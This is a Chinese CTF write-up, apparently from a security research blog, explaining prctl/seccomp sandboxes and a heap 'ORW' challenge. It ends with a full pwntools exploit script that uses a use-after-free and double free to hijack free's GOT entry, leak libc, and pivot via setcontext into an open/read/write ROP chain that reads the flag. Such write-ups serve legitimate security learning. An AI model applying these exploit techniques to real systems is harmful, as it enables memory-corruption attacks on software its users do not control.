专题|浅析ctf中pwn题堆类型的orw

admin 2021年7月1日07:02:07评论1,011 views字数 4392阅读14分38秒阅读模式


专题|浅析ctf中pwn题堆类型的orw

 点击上方蓝字关注我们~

专题|浅析ctf中pwn题堆类型的orw



专题|浅析ctf中pwn题堆类型的orw

简介




一般来说,堆利用是关于以一种特殊的方式,比如 double free 和堆溢出等破坏堆数据结构的元数据,覆盖我们不应该控制的值。

而 ORW 类题目是指程序开了沙箱保护,禁用了一些函数的调用(如 execve 等),使得我们并不能正常 get shell ,只能通过 ROP 的方式先调用 open 打开 flag 文件,然后利用 read 把 flag 的值读取到内存里面, 最后通过 write 来读取并打印 flag 内容。


专题|浅析ctf中pwn题堆类型的orw

沙盒机制




沙盒机制也就是我们常说的沙箱,英文名 sandbox ,是计算机领域的虚拟技术,常见于安全方向。

一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。

例如,我们要分析一个病毒软件的时候,可以将它放进虚拟机里面运行,这个虚拟机就像是一个沙盒,不会对真机造成如何损失。而在 ctf 的 pwn 题中一般有两种函数调用方式实现沙盒机制,第一种是对 prctl 函数调用,第二种是使用 seccomp 库函数。


专题|浅析ctf中pwn题堆类型的orw

prctl函数




函数的原型:
#include <sys/prctl.h> 
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4,unsigned long arg5); 

这个函数有 5 个参数,重点是 option 参数,这里主要关注 2 点:
PR_SET_NO_NEW_PRIVS(38)
PR_SET_SECCOMP(22)

若option为PR_SET_NO_NEW_PRIVS(38):
第二个参数arg2设置为1,那么程序将不能通过执行execve系统调用来获得提权。
若option为PR_SET_SECCOMP(22):
表示可以设置沙箱规则,也就是可以自定义函数的系统调用是被允许还是禁止。

如果arg2为SECCOMP_MODE_STRICT(1),则只允许调用read,write,_exit(not exit_group),sigreturn这几个syscall。

如果arg2为SECCOMP_MODE_FILTER(2),则为过滤模式,其中对syscall的限制通过参数3的结构体,来自定义过滤规则。


总结起来,就是prctl(38, 1LL, 0LL, 0LL, 0LL)表示禁用系统调用,也就是 system 和 onegadget 都没了,而 prctl(22,2) 表示设置沙箱规则,从而可以实现改变函数的系统调用。



专题|浅析ctf中pwn题堆类型的orw

seccomp库函数




seccomp是 secure computing 的缩写,其是 Linux kernel 引入的一种简洁的 sandboxing 机制。

在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp 安全机制能使一个进程进入到一种 “安全” 运行模式。

v1 = seccomp_init(0LL);
if ( !v1 )
{
  puts("seccomp error");
  exit(0);
}
 
// seccomp_rule_add添加规则
// 第三个参数代表对应的系统调用号,0-->read/1-->write/2-->open/60-->exit
seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);



首先调用seccomp_init(arg)对结构体进行初始化,


若参数arg为SCMP_ACT_ALLOW(0x7fff0000U),则为黑名单模式,没有匹配到规则的系统调用将被默认允许。

若参数为SCMP_ACT_KILL(0x00000000U),则为白名单模式,没有匹配到规则的系统调用都会杀死进程,默认不允许所有的syscall。



专题|浅析ctf中pwn题堆类型的orw

例题




下面来看一道例题,是个经典的堆题,有add、delete、edit和show四个函数。


专题|浅析ctf中pwn题堆类型的orw

我们可以通过 seccomp-tools 来查看程序是否启用了沙箱,这里可以看到程序禁用了 execve,这表明我们不能直接执行 system 去 getshell了。

专题|浅析ctf中pwn题堆类型的orw

首先申请一个 0x10 大小的堆作为结构体指针,然后讲 size 保存到结构体的第一个地方,接着申请一个堆块保存到结构体的第二个地方。

专题|浅析ctf中pwn题堆类型的orw

重点是这个 delete 函数,free 之后指针没有指令,存在UAF漏洞。

专题|浅析ctf中pwn题堆类型的orw

做题的思路首先还是要泄露地址,这里有两种方法

第一种是通过申请一个大的堆块放进 unsorted bin 里面,然后泄露它的 fd 指针。

第二种是利用 UAF 漏洞将 free 的 got 表改成 printf 函数,再将 unsorted bin 的指针泄露出来。

我这里采用的是第二种方法。

那要怎么利用 UAF 去改 got 表呢?
首先要用 double free 的手法,然后申请一个堆结构体,接着申请一个 0x10 大小的堆块,此时申请出来的就会和前面一个堆块的堆结构体指针重叠。

专题|浅析ctf中pwn题堆类型的orw

专题|浅析ctf中pwn题堆类型的orw

这是我们利用 edit 函数写 chunk3 的时候,他就会往 chunk0 的堆结构体指针写东西,我们可以把它改成 free 函数的 got 表,然后再 edit chunk0 的时候就会往 got 表里面写东西。

这里开了沙盒,不能直接改成 system ,但是 free 的第一个参数我们是能控制的,可以通过利用 free 函数转换成 ROP 去 orw。

这里要用到 libc 里面的一个万能的 gadget,通过控制 rdi 去控制 rsp,即栈顶我们是可以控制的,也就是说可以正常地去 ROP 了。


专题|浅析ctf中pwn题堆类型的orw


专题|浅析ctf中pwn题堆类型的orw

完整exp



from pwn import*
context(os='linux',arch='amd64')
context.log_level=True
elf=ELF('pwn')
libc=ELF('/home/zzq/libc6_2.23-0ubuntu11.2_amd64.so')
#p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"})
p=process('./pwn',env={'LD_PRELOAD':'./libc6_2.23-0ubuntu11.2_amd64.so'})

def add(id,size,data):
p.recvuntil('Your Choice>> ')
p.sendline('1')
p.recvuntil('index>> ')
p.sendline(str(id))
p.recvuntil('size>> ')
p.sendline(str(size))
p.recvuntil('name>> ')
p.send(str(data))
def edit(id,data):
p.recvuntil('Your Choice>> ')
p.sendline('3')
p.recvuntil('index>> ')
p.sendline(str(id))
p.recvuntil('name>> ')
p.send(str(data))
def delete(id):
p.recvuntil('Your Choice>> ')
p.sendline('2')
p.recvuntil('index>> ')
p.sendline(str(id))

add(0,0x68,'aaaaaa')
add(1,0x68,'aaaaaa')
add(4,0x98,'aaaaaa')
add(5,0x98,'aaaaaa')

add(6,0x108,'a')

add(7,0x48,'aaaaaa')
add(8,0x48,'aaaaaa')
add(9,0x98,'aa')
add(10,0x200,'./flagx00')
delete(4)
delete(0)
delete(1)
delete(0)

add(2,0x68,'aaaaaa')
add(3,0x18,'aaaaaa')
gdb.attach(p,'b *0x00007ffff7a54b85')
raw_input()
delete(7)
delete(8)

edit(3,p64(elf.got['free'])*2)

edit(0,p64(elf.plt['printf']))


delete(4)

leak=u64(p.recv(6).ljust(8,'x00'))
print hex(leak)
libcbase=leak-(0x7ffff7dd1b78-0x00007ffff7a0d000)
print hex(libcbase)
free=libcbase+libc.sym['__free_hook']
setcon=libcbase+0x47B85

delete(8)


leak=u64(p.recv(3).ljust(8,'x00'))
print hex(leak)

heap=leak-(0x603380-0x0000000000603000)-0x70
add=heap+(0x00000000006032d8-0x0000000000603000)
flag=heap+(0x00000000006035a0-0x0000000000603000)

open=libcbase+libc.sym['open']
read=libcbase+libc.sym['read']
write=libcbase+libc.sym['write']
poprdi=0x0000000000400dd3
poprsi=libcbase+0x00000000000202f8
poprdx=libcbase+0x0000000000001b92


payload=p64(poprdi)+p64(flag)+p64(poprsi)+p64(0)+p64(open)+p64(poprdi)+p64(3)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(read)
payload+=p64(poprdi)+p64(1)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(write)

edit(6,payload.ljust(0xa0,'x00')+p64(add)+p64(poprdi))

print hex(heap)


edit(3,p64(elf.got['free'])*2)

edit(0,p64(setcon))

delete(6)


p.interactive()


本文始发于微信公众号(山石网科安全技术研究院):专题|浅析ctf中pwn题堆类型的orw

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年7月1日07:02:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   专题|浅析ctf中pwn题堆类型的orwhttps://cn-sec.com/archives/403241.html

发表评论

匿名网友 填写信息